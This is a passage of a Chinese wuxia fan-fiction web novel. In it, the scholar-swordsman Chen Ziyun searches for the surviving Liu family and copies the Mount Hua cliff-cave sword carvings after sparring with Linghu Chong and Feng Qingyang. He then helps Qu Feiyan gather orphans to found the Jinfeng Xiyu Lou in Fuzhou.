陈子云舞了这一套刀法不但心里通透了不少,更是把酒气也散了大半,招呼了还在旁边伺候着的小厮,跟福伯一起将这些人一个个送上了轿。 “福伯,给各位都发二两银子,这一天也辛苦他们了。” 陈子云吩咐了一声就在一众小厮的千恩万谢中回了房,剩下的这一片狼藉自然有人会帮着福伯收拾。 第二十二章 刘府出事 这就是这个时代的便利,只要你跟官字搭上关系,你一切的需求都会有人为你提供,还是那种迫不及待要送上门的那种。 第二天起来,头脑还是有些昏胀,昨天终究是喝的太多了些。 曲非烟可不管这些,陈子云刚出门她就已经背着个包裹等着了。 “我说,好妹子,在怎么样也要等哥哥我吃了早饭,咱们再出发吧。” 陈子云当然知道这小妮子的心情,只是现在也不过是太阳刚出来没多久,就算要出门,城门口估计还没开呢。 “陈大哥,昨天福伯肯定是累坏了,你难道还狠心让他为你准备早饭吗,我们直接出街面上吃吧,吃完了好上路......” “你这话说的。” 陈子云假装生气要给这口不择言的小丫头一个脑瓜崩。 曲非烟一个闪身就从院墙里跳了出去,看来这小妮子是一刻都待不住了。 陈子云也只好跟上,两人找了一家人气最旺的早食店坐下,这个时候就出来吃早饭的,差不多都是要早早出城的人,一般城里的人家可不会起这么早。 “诶,听说了,城西头那边又有一家遭劫匪了。” “怎么回事,赶紧说说。” “我也是听打更的的老刘头说的,他昨晚经过那里的时候就听到城西一户刚搬来不久的大户人家,里面都是乒乒乓乓的打斗声。 听他说当时他可是看见好些个黑衣黑袍的人从院墙里跳出来,要不是他机警的早早躲开了,怕是.....” “你说现在这劫匪也太猖狂了,几个月前是福威镖局的林老爷一家,现在又是这.....诶,这家大户人家姓什么来着?” “据说是姓刘,听着近邻讲应该是湖南那边的口音,听说为人还算不错,一来就给街坊四邻送了好些礼,诶,可惜了。” 陈子云心里一紧,搬来没多久,又是姓刘的,怕不是...... “刘姐姐。” 曲非烟听到这里不禁的惊呼了一声,一起身就从座位上窜了出去。 “非烟.....” 陈子云本来还想劝她别急,可还没说完,曲非烟已经奔出十几步了,无奈只得把饭钱往桌上一扔赶紧跟了上去。 等陈子云跟曲非烟到了刘家大门,此时已经被众多捕快给围住了。 曲非烟着急的就要直接往里冲,还是陈子云一把拉住,把自己的名帖递给了一个看着像是捕头的人。 “原来是陈老爷,不知老爷来此是......” “这位捕头,我这位小妹曾与这刘家的一位小姐有旧,今日突闻噩耗,所以急了些,不知捕头如何称呼?” “鄙人姓展。” “展捕头,不知方不方便,让我们进去看一眼?” “这个?” 这位展捕头明显有些犹豫。陈子云从怀里抽出了一锭十两银子纹银。 “不不,陈老爷,小人虽然不禁这些,但收的也是一些卑鄙之人的孝敬,陈老爷何等身份,怎需如此!” 展捕头连连摇头不敢收。 “展捕头,这点银两能算些什么,不过是看诸位秉公职守实在辛苦,只是请大伙喝个茶的钱,务必收下。” 陈子云自然不会真的傻傻的把钱收回来。 “如此小人就多谢陈老爷慷慨了,哥几个还不谢谢陈老爷。” “多谢陈老爷。” 展捕头说完便直接在前面给陈子云二人带路。 院子里到处都是打斗留下的场景,凝固变成紫黑的血液,被砍伤残破的家具,被白布盖起来的尸首被整齐的放在了院子里,有一个仵作正在查验着。 曲非烟此时已经是泫然欲泣的摸样,陈子云虽然不忍但也知道,这些事情既然已经发生了躲避是没用的。 “展捕头,不知哪一具是?” “还请陈老爷知晓,要是说这位小姐寻的是一位妙龄的小姐,可能并不在此处。根据小人的核查,这刘府里虽然遭遇了劫匪的横祸,却有三人并不在这些尸体之中,其中一位想来就是老爷说的那位刘小姐。” “刘姐姐还活着?” 曲非烟又惊又喜。 “是不是活着展某不敢保证,但这刘府之中确实没有这位刘小姐的尸首。” 这位展捕头答话倒是谨慎的很。 “太好了。” 曲非烟自然是高兴的,至于其他的刘府的人,不管是陈子云,还是她都没什么太大的交情。 至于说到底杀他们的人是劫财的强盗还是嵩山派找的人,跟他们又有什么干系。 不过陈子云想到,这些终究是死在了福州,他这个做地主的还是要尽一份心,随即掏出一张五十两的宝钞递给了展捕头,也不等拒绝便说道:“展捕头,这些人终究与我有些缘故,还望捕头帮着给他们留个体面,等衙门里公事处理妥当了,还望能早日入土,还请捕头费心。” “如此......小人就厚颜了,陈老爷以后若有什么差遣还请差人告知小人,定不推辞。” 陈子云也没再说什么,只是抱拳回了个礼。 陈子云牵着曲非烟的手出了福州城,本来他们是计划一路随意出去走走的,如今看曲非烟那表情,要是不找到刘菁怕是也没什么心思了。 “陈大哥,你说刘姐姐他们会往哪里走?” “不管往哪里,福州他们肯定是待不了了,而衡山他们也怕是不敢回去的。至于北边,那正是嵩山派的老巢,所以我猜他们最大的可能就是往西去了,至于去了哪里,倒是真不好说。” “陈大哥,那我们也往西吧,如果能找到刘姐姐他们,还请大哥出手帮他们一把。” 曲非烟难得求他一次,陈子云又如何能拒绝。 “好。” 陈子云带着曲非烟一路向西,绕过了湖南,从贵州到四川,又北上进入了陕西,不是他们不想再往西走,实在是再往那边基本就是人迹罕至的荒芜之地了。 一般人都不会往那边去,那里除了高耸的山脉,稀薄的空气实在没什么让人向往的东西。 这一路找来曲非烟其实基本也放弃了,这么久都没找到刘菁他们的身影,不是走岔了路,就是他们已经遭了毒手。 陈子云倒是没什么太大的感慨,能救到人就算他们运气,救不了他也不强求,在这个时代死几个人实在是再渺小不过的事情了。 如果不是顾及这曲非烟的感受,陈子云早就开始游山玩水了,而不是这一个月来都在风尘仆仆的找人。 第二十三章 上华山 不过好在此时的曲非烟也终究开始慢慢的放下了,他们约定如果在到华山之前都找不到人,那就真的只能放弃了,他们也算是尽了人事了,后面也就只能怪天命不饶人了。 相比于鱼米之乡的南方城市,进入陕西之后,陈子云明显的感觉到这里的荒凉,不说这里的人口相对稀少,就是这里的田地也是荒芜的多,而且看这土质,也是比不得的。 陈子云二人一路向背,不久就到了华阴县,此处已是华山派驻地的所在,曲非烟此时也终究是真的放下了刘菁。 “陈大哥,你说这个世界上,明明好人都没什么好报,为什么还有这么多人吃斋念佛呢?” 陈子云被这突来的一问有些摸不着头脑,可又不能随便敷衍,他知道此时的曲非烟怕是在做什么关键的抉择,刘家的事情终究还是给她带来了不小的冲击。 “绯烟,你陈大哥我是个儒生,怪力乱神这一套我是不信的。但是这世间的一切,从来都只遵循一个原则,那就是谁强大谁聪明谁就主宰一切。 你可以把佛陀的智慧也当做一个聪明人的觉悟,更不用说我们的自己道家的老庄之流,只要你明悟了这世间的规则,或者掌握了这世间的权利,你自然有能力让好人得好报。” “那陈大哥,如果非烟想做一些事情,大哥会支持我吗?” “当然,不管非烟要做什么,大哥都会帮忙的。” “那大哥觉得,如果非烟要成立一个组织,一个让好人有机会好好活着的组织,您觉得叫什么合适?” “非烟,还记得我的另一个名字吗?” “苏梦枕?” “那你觉得,金风细雨楼这个名字跟苏梦枕配吗?” “金风细雨楼,黄昏细雨红袖刀的苏梦枕,陈大哥,我怎么觉得这金风细雨楼还没成立,却已经存在了好久似的。” “哈哈哈,非烟你错了,以前的金风细雨楼确实是苏梦枕的,不过现在的金风细雨楼却是曲非烟的了。” “可是非烟要是没有陈大哥帮忙,又如何才能立起这金风细雨楼来?” “不,非烟,要成立一个组织,第一要紧的永远都不会是别人,而是你自己。只有靠你自己才能找到真的与你志同道合的那些人。 这世间的组织千万,大到朝廷官府,少林武当,小到街边摊贩互帮互助。但是有一条原则是万古不易的,你要聚人心,要么就是有让人趋之若鹜的名利吸引他们,要么就有能让人把名利都视为粪土的东西。 前者是容易的,但是一个组织真的想传承久远,后者却是你要思考的关键。这种东西也许每个王朝建立之处都有过,可惜都不曾保留下来。” “陈大哥,你说的这些太久远了,要是让非烟考虑那么多,怕是连刚刚生起的这点心思也没了。” “哈哈哈,不用急,这东西也不是能一簇而就的,一步步来就是了。不过既然我们来到了华山脚下,我倒是能给你取点东西来。 就算是我这个当大哥的给你新建组织,送的一些贺礼了。” “陈大哥,是什么东西,难道跟华山派有关?” “有关是一定的,不过这关系也不是太大,你在华阴等我就好,我上一趟华山去。” 陈子云安置好曲非烟就朝着华山玉女峰就出发了,他要去找的自然就是那思过崖上的石刻剑法。 既然曲非烟有成立金风细雨楼的心思,这些东西自然就是最有用的,培养人才也好,吸引人才也罢,这些东西都是拿得出手的。 反而那高深莫测的独孤九剑却是有些累赘了,这东西要不是碰到了天赋卓绝的令狐冲,估计风清扬就只能带进坟墓了。 这种只适合天才修习而不具有普世价值的高超剑法,实在是鸡肋的很。 自古华山一条路,登临犹比上天难,不吃豹子胆,只能望峰叹。 何况现在的陈子云还不能大摇大摆的登山,倒不是怕了这华山上的人,只是怕万一被人发现了麻烦。 陈子云虽然没有刻意去打听,如今他在江湖上的名声。可不想也知道,在嵩山派吃了如此大亏的情况下,他苏梦枕这个名字就算没有被打成烂大街,也绝对是跟魔教妖邪放在一起了。 不过好在他身法功夫不差,凭借着高超的轻身功夫,加上手中锋利的快刀,一般的悬崖峭壁也拦不住他。 这一路走来倒是真的领略了一番,这华山为何自古以来都被成为“奇险天下第一山”。就算是现代被开发为旅游景点之后,它也让众多游客望而却步。 那些凌空栈道,铁索峭壁,随处往下望去就是百丈悬崖,心脏功能不够强大的人如何受得了。 就连陈子云这般的高手,也爬了大半天才上了这寸草不生的玉女峰顶,随意找个地方坐下,大口的喘息着,看着这光秃秃的山头和孤零零的山洞,也不知那令狐冲是如何能呆得住的。 想到令狐冲,陈子云不由得往那山洞里望了一眼,这令狐冲既然没在这里,想必是到里面的石洞中去了,也好,省了他破壁的一场功夫。 陈子云调息了片刻,从包袱里拿出一根准备好的大蜡烛,用火引子点燃,便起身往里面的石洞而去。 陈子云刚进洞口就听到一声大喝:“什么人?” 待那人拿着火把走近了,看到陈子云的摸样更是惊讶的问道:“苏兄,怎么是你?” “是啊,本不应该是我,我可没什么好酒给你。” 陈子云这话令狐冲自然是听不懂的,不过他也没有细问。 “苏兄,你怎么上华山来了,还到了鄙派的思过崖上?” 令狐冲虽然胡闹了些,但也不是傻子,苏梦枕不请自来,肯定有什么目的。 “自然是为了这洞中的事物而来。” 陈子云也没想隐瞒。 “不行。” 令狐冲瞬间想到了那后面山洞之中刻画着可是能破解五岳剑派的招法,要是被外人学去,那五岳剑派的人以后遇见学了这些招法的人不是要引颈待戮,尤其是里面还有他们华山派的。 “呵呵,这倒是奇怪了,为什么不行,你学得,我就学不得。据我所知,那里面的东西可不是华山派留下的,而是日月神教十大长老留下的。” 陈子云有些好笑的看着令狐冲说道。 令狐冲此时更是奇怪,为什么这苏梦枕竟然知道他华山派之中的隐秘,这些事情就连他师傅都不清楚。 他不由得想起自己师父岳不群曾跟他告诫过的话,这苏梦枕来路不明,看他的武功路数处处透着阴柔,不像是正派人物,说不定就是魔教在暗中培养的高手。 令狐冲随即联想到他曾亲眼看到苏梦枕杀了嵩山费彬,甚至还毫不避讳的借用魔教的黑血神针。 而现在对方竟然还知道这些石洞内的人是魔教的十大长老,可除了五岳剑派跟魔教的老一辈,谁还会知道此处的秘密。 那这人既然不是五岳剑派的,必然就是魔教中人,万万不能让他学了这些招法,否则五岳危矣。 第二十四章 戏令狐 “既然这些东西在我华山派思过崖内,自然由我华山派处理,怎么能让你学去,还请苏兄即刻下山,否则别怪令狐冲不客气。” 令狐冲到还留了些余地,起码没直接说这些东西就是华山派的。 “哈哈哈,这倒是好笑了,我只知道这华山在我朝疆域西北Sx省华阴县内,却不知什么时候这里属于你们华山派了。” “苏兄何必如此说笑,我华山派在华山已经传承百年,江湖上谁人不知谁人不晓。” “这不是更可笑,难道你们随便找个地方,住上一段时间,这地方就属于你们了,天下可没有这样的道理。 要是按你如此说,那些占山为王的绿林强盗还成了大地主不成?” 陈子云这话就有些含沙射影的意思了,竟是把华山派说成了强盗。 “苏梦枕,我原见你行事还有几分大丈夫所为,对你也算是礼敬有加。倘若你嘴里再不干净,辱及师门,就算令狐冲不是你对手,也必然要与你拼个死活。” 令狐冲随即捡起一把地上的宝剑,指着陈子云不客气的说道。 “本事不大,脾气倒是不小,你就不怕我一刀杀了你。这里孤峰绝顶,到时候怕是等你的尸体发臭了才会被人找到。” 陈子云其实也比较纳闷,这华山之上没有一个如他这般刚直的人,这些倔脾气令狐冲是跟谁学的。 “君子有所为,有所不为,令狐冲贱命一条死了便死了,但师门待我恩重如山,我如何能不报。” 令狐冲此时已经比划了一招华山剑法的起手式。 “想动手,也好,不过我也不欺负你,只要你能在三十招之内让我手上的这跟蜡烛熄灭了,我就如你所愿。” 陈子云饶有兴趣的看着令狐冲说道。 “此言当真?” “信不信在你。” 令狐冲看着陈子云,又看看他手上的蜡烛。令狐冲看着莽撞,其实他自己也知道,这个苏梦枕能轻而易举的杀了田伯光和嵩山费彬,自己单打独斗肯定不是是对方的对手。 可如果只是要灭了这苏梦枕手上的蜡烛,自己还是有信心的,学武练剑十几年,难道自己还砍不中一根蜡烛,那他令狐冲还不如醉死算了。 “那就看招了。” 令狐冲也不客气,出手就是一招苍松迎客,不过他迎的对象是陈子云手上燃着的蜡烛。 “令狐冲,你倒是有些小聪明,竟然知道用衣袖鼓动出风来,想吹灭我的蜡烛。” 陈子怡一边护着蜡烛,一边嗤笑的说道。 “不管我用什么招,能吹灭这蜡烛就是好招,第二招来了。” 令狐冲虽然被岳不群教育的有些古板,但是深藏在性子里的不羁总是不经意的透露出来,这也是他越长大就越不讨岳不群喜欢的根源所在。 可惜了,身为华山派的开山大弟子,却不能跟自己师父走上一条道,也不知道是不是岳不群前世造的孽,养出个这么样的不孝子。 接着一招招被令狐冲添油加料的华山剑法从他手上使出来,带着衣袖很扫的白云出岫,张着嘴吹气的天绅倒悬,还有最过分的令狐冲在使到萧史成龙的时候,竟然连鞋子都当暗器飞出来了。 虽然陈子云还是避开了,可那味道。 要知道这思过崖上可没有让令狐冲洗澡的地方,最多也就是有人送饭上来的时候给,他带点热毛巾啥的擦擦。 所以说,这令狐冲如今在思过崖上待了可是不下几个月了,就算他自己想办法清理过,但这味道依旧是不可描述。 陈子云逃也是的出了石洞,他感觉那里面现在就是个毒气室。 令狐冲当然也追了出来,手里还提着他那只飞出去的鞋子。 陈子云满是嫌弃的说道:“你要是这样下山去,也不用回你的华山派了,直接去华阴县的丐帮报道吧。” 令狐冲脸上一红,可又随即压了下去,反而一脸不在意的说道:“男子汉大丈夫,这点味道算什么。苏兄,你我都是江湖中人,难免风餐露宿的,这些都是微末小事。” 陈子云虽然已经尽量远离了令狐冲,但那一股股怪味还是飘了过来,他赶紧捂住嘴鼻,嗡声喝道:“再不把鞋子穿上,我就直接砍了你的脚。” “别别别,穿上便穿上,苏兄何必如此小题大做。” 令狐冲拿起鞋子就往自己的脚上套,可不知是不是因为一只手上还拿着剑,重心有些没把控好,竟然一跳一跳的始终没把鞋子穿好。 正当陈子云不耐的想发飙的时候,令狐冲竟然直接把手上的臭鞋朝着他扔了过来,随即整个人持剑也跟着扑了过来,直接就锁死了陈子云的两侧,让他除了后撤逃无可逃。 原来刚才令狐冲那副摸样竟然是在有意的靠近陈子云,等距离到了突然发动攻击,谁说这小子没心眼的。 要是按着平时,就算令狐冲如此偷袭也不一定能成功。可现在麻烦的是,陈子云刚才为了尽量远离这些异味,自己已经是到了这玉女峰的悬崖边上,要是再往后退就要掉下悬崖了。 这也是令狐冲小算计的心思所在,心想着这人竟然如此怕自己的鞋子,铁定是不会往鞋子的方向躲着,那就只能往自己这边来。 只要陈子云一出手挡下自己的这一剑,他就有机会直接熄灭蜡烛,好在令狐冲倒是没有直接借此良机下毒手的心思,要不然陈子云更不好过。 令狐冲的想法固然是好的,也是在情理之中,可是陈子云的反应却如天外一招,全然不在他的料想之内。 陈子云既没有往左,也没有往右,而是往后退了一步,随即整个就往悬崖下坠去。 “别。” 令狐冲一声惊呼,他本意不过是想赢了陈子云,好让他不能贪图石洞内的武功,并没有要至他于死地的心思。 可还没等令狐冲惋惜这一位刚出江湖就名动四方的人物竟然就这般死在了华山之上,刚才跌落悬崖的苏梦枕竟然有飞了上来。 “你......” 令狐冲简直一副如见了鬼的摸样。 陈子云可没再跟令狐冲磨叽,直接一脚踢在他执剑的手上,那把剑直接飞出,随即跌落悬崖,又在他的胸口上踏了一脚整个人回到了石洞门口。 令狐冲愣愣的看着跌落悬崖的宝剑,不由得想起自己不久前也将自己小师妹的剑也弹了下去,不由得思绪又起。 连胸口上被陈子云踢的一脚也没在意,好在陈子云并没有伤他的意思。 “你要是带着你的味道进石洞,你的脚就真的别要了。” 第二十五章 斗独孤 这次陈子云神色认真,没有再跟令狐冲开玩笑的心思。对方连毒气攻击这种手段都用出来了,他自然也没心思跟令狐冲再打什么赌。要是对方执迷不悟,非要妨碍他,他可不会再手下留情。 陈子云把包裹里准备好的纸墨拿了出来,首先来到刻嵩山派剑法的地方,谁让自己现在跟他们的仇怨最深那,他连那些招不成招的破解之法也没放过。 以后要是看嵩山的不顺眼,直接就把这些破解指法撒到江湖上去。 陈子云在石洞内拓印着各个剑派的武功招式,令狐冲却是犹豫不决的在石洞口不断的张望。 令狐冲自然不愿意陈子云把这洞里的武功看了去,这对五岳剑派来说简直就是飞来横祸。 可经过刚才的一番比斗,自己连丢鞋子这种无赖的方式都用上了,结果连对方手上的蜡烛都无法熄灭。 而且这苏梦枕最后踢他的一脚,明显就是踢在他的心口的,只要当时对方再多用一分力气,自己的心脉怕是立刻就断了。 如此说来,这苏梦枕明显是饶了他一命,如果自己还纠缠不休,岂不是太不要脸了。 令狐冲纠结了,一面是江湖大义,一面是自身的德行,他哪一个都不想丢,两个都要顾全,而现在恐怕是一个都留不住了。 “不行,师傅说过,义之所在,虽千万人吾往矣,死又有什么好畏惧的,难道令狐冲你还舍不得这条命吗,反正小师妹都已经...... 不,是为了五岳剑派同气连枝的大义,就算是被砍了脚我也要阻止他。” 令狐冲经过一番心理争斗,终究还是踏进了石洞,可他还没走出去几步,一道凌厉的破风声就在他的耳边响起。 嘟的一声,一颗不知道从哪里射过来的石子,就打在离他脚尖不到一寸的地方。 “再上前一步,你这条腿就别想要了。” 陈子云的语气森寒,令狐冲也知道对方绝不是开玩笑的,刚要伸出去的脚不由之主的往后退了半步。 可这半步之退,顿时让令狐冲的脸上犹如火烧,直接就给了自己一个耳刮子。 “令狐冲啊令狐冲,原来你竟然是个如此贪生怕死之人。” 令狐冲随即又踏出一步,朝着那刻着华山剑法的石壁冲了过去。他想着,既然他阻止不了这苏梦枕抄袭其他剑派的武功,最少要把他们华山派的传承保护下来。 哪怕就算是自己死了,也算是报答了师傅师娘的养育之恩了。 “令狐冲你找死,当真我不敢杀你吗!” 声音还在半路,令狐冲却是已经感受到了一刀凌厉刀锋已经到了眼前。 “好快,难怪连田伯光也接不下这苏梦枕的一刀。师傅师娘,令狐冲对不起您二老,这华山派的传承怕是要被这人给夺去了。” 令狐冲本来已经是完全放弃了抵抗,就等着到光落下,一副引颈就戮的丧气摸样。 可他没有等到这快如闪电的一刀,反倒是听到一阵阵叮叮铛铛的刀剑碰撞之声。 睁眼看去,两个飘忽不定的人影正在这石洞内来回的碰撞,动作快的他只能循着那刀剑碰撞出的火花,才能看清两人的移动位置。 这世间竟然还有如此的剑法,竟然能与苏梦枕这快刀相提并论。令狐冲看的不由得痴了,竟然泫然忘了他此时正处在两个大高手比试的险地,就对着剑招比划起来。 也不知道两人到底过了多少招,令狐冲只觉得只是几个眨眼的时间,本来还在拼斗的两人就已经分开了。 “独孤九剑果然是好剑法,风老前辈也是宝刀未老。” 陈子云看了看自己胸口被划开的衣襟,不由得对这个七老八十的风清扬有了几分敬佩,不知道他年轻的时候又是何等的风采。 “独孤九剑自然不凡,风清扬却已经老朽了,再过二十招,你就是站着不动,也赢了。” 风清扬一面竭力平息着自己的内息,一面看向自己手中那把随手捡来的剑,如今却已经被砍成了两节。 “诶。” 风清扬叹了一声,随手把剑扔在了地上。 陈子云见状也收回了自己的刀,刚才的一战不说输赢,却也是真的见识了独孤九剑与风清扬的风采。 这两样东西是分不开的,风清扬的独孤九剑跟后面令狐冲的独孤九剑是不一样的,就像他虽然学了苏梦枕的黄昏细雨红袖刀,可如今早已经走出了自己的路。 这全天下的师傅徒弟都是如此,就算是手把手交的,徒弟与师傅也不会是一模一样。 每个人都是自己的思想,不管是好是坏,有的人天性活泼如令狐冲,他的剑法自然就多了几分灵动;有的人天生木讷如那位郭大侠,他的掌法就多了些厚重。 从师傅手里学来是事师傅的东西,只有自己融会贯通了之后才是徒弟自己的东西。 “你非要抄这些东西?” 风清扬面色如金,指着墙上的武功说道,表情里反倒不怎么在意。 “势在必得。” 陈子云坚决的说道,自己辛辛苦苦爬了半天的山,要是空手回去怎么对得起自己,又如何向曲非烟交代。 “那便抄吧。” 风清扬满不在乎的说道。 “前辈,您便是风清扬前辈吧,晚辈令狐冲,望前辈看在江湖大义的份上,能阻止这位苏梦枕......” 令狐冲此时还不知道风清扬的身份,只是猜测应该跟他们华山或者五岳剑派必然有些关联,就想劝着他帮忙。 “哼,你也是个糊涂蛋,剑法再好,练的人不行有个屁用,也不看看自己把好好的华山剑法练成了什么摸样。 有空去管别人,还不如自己多花些时间练剑,跟我出来,别在这里丢人现眼。” 风清扬可不是什么好脾气的人,见着令狐冲还拎不清此时的情况,毫不客气的就是一顿骂。 “那就多谢风老前辈了,苏某带的纸张有限,这华山派的剑法我是打算放在最后拓印的。” 陈子云可以不可令狐冲面子,但不能不给风清扬面子,无他,唯实力尔。这位老人家要是发起飙来,陈子云并不觉得他能安然的离开这玉女峰,炉火纯青的独孤九剑可不是令狐冲那种半吊子可以比的。 刚才的交手,大家都是收着手的,基本上算是点到即止,并没有把真正的杀招用上。 功夫练到他们这个份上,要碰到个旗鼓相当的已经不易,要是动真格的,那到最后基本就是同归于尽。 就算风清扬如今年老体衰不复当年,可这一拼之力总是有的。到时候就算陈子云能比对方快个半分,可那时候刀剑齐出,并不是说快了半分就不用死,只不过是谁先捅进谁的身体罢了,最终结果都是一样。 第二十六章 筹建金风细雨楼 “犯不着,要是华山派的剑法就这样被人破了,那这华山派也不必要存在了。” 风清扬没回头,只是抚了抚衣袖,就带着令狐冲出去了。 陈子云自然明白风清扬的意思,就如他自己,到了他们这种程度的人怎么还会在意所谓的破招不破招的。 自己一招用出来基本都不用考虑下一招是什么,完全是顺其自然游刃有余。连自己都不知道的招法,别人凭什么来破你。 可江湖上能达到这种境界的实在太少,所以石壁上这些东西才有存在的价值,这也是他辛苦来拓印的原因。 “回去一定要让那小丫头给我好好按按手脚,这拓印下来比跟风清扬打一场还累。” 等陈子云从石洞里出来,就见到风清扬正在教令狐冲独孤九剑。 令狐冲见他出来,立马就停了下来,好像生怕这苏梦枕抄了洞中的剑法不够,还要来贪图这精妙绝伦的《独孤九剑》。 “停什么,继续。” 陈子云还没说什么,反而是一边的风清扬不满了。 “练剑都不能专心致志,你练个什么劲。” “是,可是风太师叔,他,这......” 令狐冲唯唯诺诺的瞥了陈子云一眼,意思再明显不过。 “他如此年纪,刀法已经入化境,就是你把这剑法送给他,他也不会改修的。” 风清扬自然看的明白的很,丝毫不担心陈子云窥视《独孤九剑》。 “是,徒孙明白了。” “你明白个屁,要是这《独孤九剑》看一遍就能练会,还有什么华山气宗。” 风清扬不由得想起了曾经,自己机缘巧合习得这绝妙剑法,当初也不是没有跟自己剑宗的师兄弟讨教过,可却没有一人能学的了的。 想当年要是剑宗的师兄弟,有人能学得这九剑,哪怕是一两剑,如今这华山上,起码自己不会连个能说话的人都没有。 陈子云没空看风清扬教徒孙,至于《独孤九剑》,他虽然没有看全,但其中的精华早就在与风清扬的交手之中领会过了,自然有可以借鉴的地方。 但是也如风清扬所说,想弄明白这其中的关窍,也不是这么简单的,足够自己回去之后好好琢磨了。 等陈子云急匆匆的赶回华阴县,已经是灯火初上了,一进客栈就吩咐小二准备酒菜送到房里。 而他则是把曲非烟先叫了过来,将一包袱的拓印纸交给了她。 “陈大哥,这些是什么?这些剑招怎么如此零散,还有这些破招是什么意思?” 以曲非烟现在的功夫自然是看不透这些。 “这就是我送你的礼物,也是以后金风细雨楼最重要的底蕴。” “就这些?” 曲非烟显然有些不以为然。 “好你个小丫头,当真是空有宝山而不自知。” 陈子云先把小二送来的酒菜拿了进来,一边吃,一边讲了这些东西的真实来历。 “陈大哥,你说这些都是我日月神教破解五岳剑派的招式?” 曲非烟顿时睁大的美目,一脸的不可置信。 “如假包换。” “天啊,要是这些东西被五岳剑派的人知道了,那不是.....” “不用担心,暂时不会有问题,而当你把这里面的东西学会,或者把金风细雨楼立起来,也就不用再担心什么五岳剑派了。” “那陈大哥,在我没有学成之前,你可要好好保护好人家哦。” 曲非烟故意摆出一副担惊受怕的摸样对着陈子云说道。 “咦,你陈大哥鸡皮疙瘩都快掉下来了。” “哼,你们男的不都是喜欢女孩子这样吗,柔柔弱弱娇小可人的样子。” “你这是听谁说的,算了也别说了,你先把东西收好,赶紧吃饭,可把我饿惨了。” 陈子云也不再说话,开始专注的扒饭。 接下来的一路,陈子云为了曲非烟能更好的体会五岳剑派的各种剑招,一路带着她北上恒山,东到泰山,随后又一路往回,途径了嵩山,衡山。 每到一个地方,陈子云就会给曲非烟讲解着各处山势与剑法之间的联系,陈子云有黄昏细雨红袖刀在身,对这些五岳剑派剑法的的理解可以说是高屋建瓴。 这两个月下来,曲非烟的武功可以说是突飞猛进,一方面是因为她的资质本来就不差,以前是因为有她爷爷护着,对练武不怎么用心。 如今自己有了想法,在这剑法上又肯下功夫,自然成就不浅,加上她的武功底子也打的结实,在陈子云的指点下自然是一日千里。 加上她本来从日月神教学的那些阴损的功夫,如今就是放她一个人闯荡江湖,陈子云也可以放心了。 而在这一路的行程之中,他们也会找一些落难的孤幼,这个时代就算是在帝都京城也少不了乞丐。 他们从这些孤儿中挑一些还算的上健壮的,骨骼体质合适练武的,带着一路回福州。 不是他们不想把所有的孤儿都带上,实在是这样的人太多,他们就是倾其所有也照顾不过来。 不过这样的场面,倒是更加加强了曲非烟要建立金风细雨楼的决心。当时她是吊着眼泪跟陈子云如此说的:“陈大哥,总有一天我要让着天下的可怜人都能吃得上饭。” 陈子云听了只当她是一时的感慨,这样的话就算是历代的帝王也不曾做到,何况他们两个。 不过他自然也不会说些难听的话打击曲非烟的热情,只是告诉她可以把目标放的小一些,比如先让福州城内的孤寡都有饭吃。 曲非烟欣然答应,以为是陈子云同意了她的想法。 所以等陈子云带着曲非烟回到福州城的时候,他们本来两个人的队伍,后面足足跟了不下百人。 这些人算是流民,在福州并没有户籍,只能先暂时放在城外。 陈子云一回到福州城内,就找了李不器跟杨弘毅帮忙,让他们联系福州城外需要出售庄园的人家,好把那些人暂时安置在庄园里。 然后就递了一份名帖到知府衙门,陈子云要把这些孤儿的户籍放在自己的名下,这样他们出入福州城才能方便。 这两件事很快就办妥了,庄园是杨弘毅的老爷子直接把自己家在城外的庄园直接卖给了他,说是卖,其实可以说是半买半送了,价格绝对是低的可怜。 陈子云自然知道这位杨老爷到底是什么意思,他也不含糊,立刻拿着一些自己平时的书画作品去拜访了杨家老爷。 杨老爷对陈子云的识趣很是开心,他这本来就是看中陈子云的将来的成就。如果陈子云非要拿钱挤兑他,他才不开心,反而这些现在不值几个钱的书画作品,却是能在将来讨还一个大大的人情。 第二十七章 麻烦来 至于那些人的户籍,陈子云甚至连知府大人都没见到就办妥了,那位专门负责办理户籍的衙役,更是留着陈子云喝了好几盏的茶才肯恭敬的送他出来。 忙了一天,曲非烟要成立的金风细雨楼的班底算是暂时都安排好了,后面怎么折腾陈子云暂时就不用操心了。至于能不能在这个笑傲江湖的世界立起金风细雨楼的牌子,也不是他需要操心的。 而且此时的曲非烟正是满心的抱负,要是陈子云去指手画脚反而遭人嫌,还不得好。 所以陈子云就又躲进了他的书房里,看看书做做文章,等着明年的会试到来,去京城碰碰运气。 当然做举人跟做秀才还是很不同的,举人之所以被称作老爷,是因为此时的陈子云已经算是半个官员了,这也是当时那位姓展的捕头对他这么客气的原因。 如果他愿意,直接就可以在官府中任职,而且因为他是亚元出身,这一入门的官职也不会低。 而且福州城里的各种乡绅团体也开始邀请他参加一些活动,诸如什么高端的诗会之类的,其实也就是吃吃喝喝。 还有就是福州附近的书院也会请他去讲解一番乡试的经验与心得,期间给的感谢费可也不低。 所以啊,只要你当上了举人老爷,家里就不会再为银两这些东西犯愁,有的是人眼巴巴的找上门来。 比如哪个大商人的新店开门啦,请你去出个场,留下个什么笔墨的自然也少不了出场费跟润笔费。 如果是要直接请牌匾的,那更是一大笔收入。 就连陈氏家族里的族学,也拖三叔公的关系找到了他,务必请他去给同族的学生们讲一次学。 可是那些在族学里上课的,不过是一些刚刚开蒙的小孩子,他去又能将些什么,难道讲三字经,百家姓吗,这些东西除了死记硬背自己又讲不出花来。 可这些事情不是陈子云能左右的,既然族里开口了,他这个作为被家族供养起来的子弟,自然没有推辞的道理,否则就是个不孝的罪名。 陈子云只好耐着性子,给那些鼻子上的鼻涕都收拾不干净的小辈么,讲了一天的赵钱孙李与宇宙洪荒。 下面的学生听的一脸认真,旁边看着的教书先生也是一脸的开心,只有陈子云一个人觉得乏味可成。 没办法做什么事情都要有相应的代价,既然他陈子云成了举人老爷,自然也要背负起对族中少年的责任,启发他们好好读书,也算是一件好事吧。 不过这样的安生日子并没有过去多久,麻烦还是来了。 曲非烟经过几个月的调教,有些他们带回来的年纪比较大的弟子,已经能带着出去见人了。 虽然在武功方面肯定还是不行的,但是经过陈子云帮忙找的那些老师的调教,在待人接物方面已经是不差了。 而曲非烟就带着这些人,一路去拜访福州范围内的各个本地的江湖门派,既然金风细雨楼要在这里立旗帜,这一步是少不了的。 可一个年纪不大的少女,带着几个毛都没长齐的孩童,就跑到别人经营许久的地盘上说以后要分他们的一杯羹。 这样的事情,不管是发生在谁的身上,都不会直接同意的。当然曲非烟也不是理想主义者,在他爷爷的教导下,她早就明白了这江湖不仅是个是非场,同时也是个名利场。 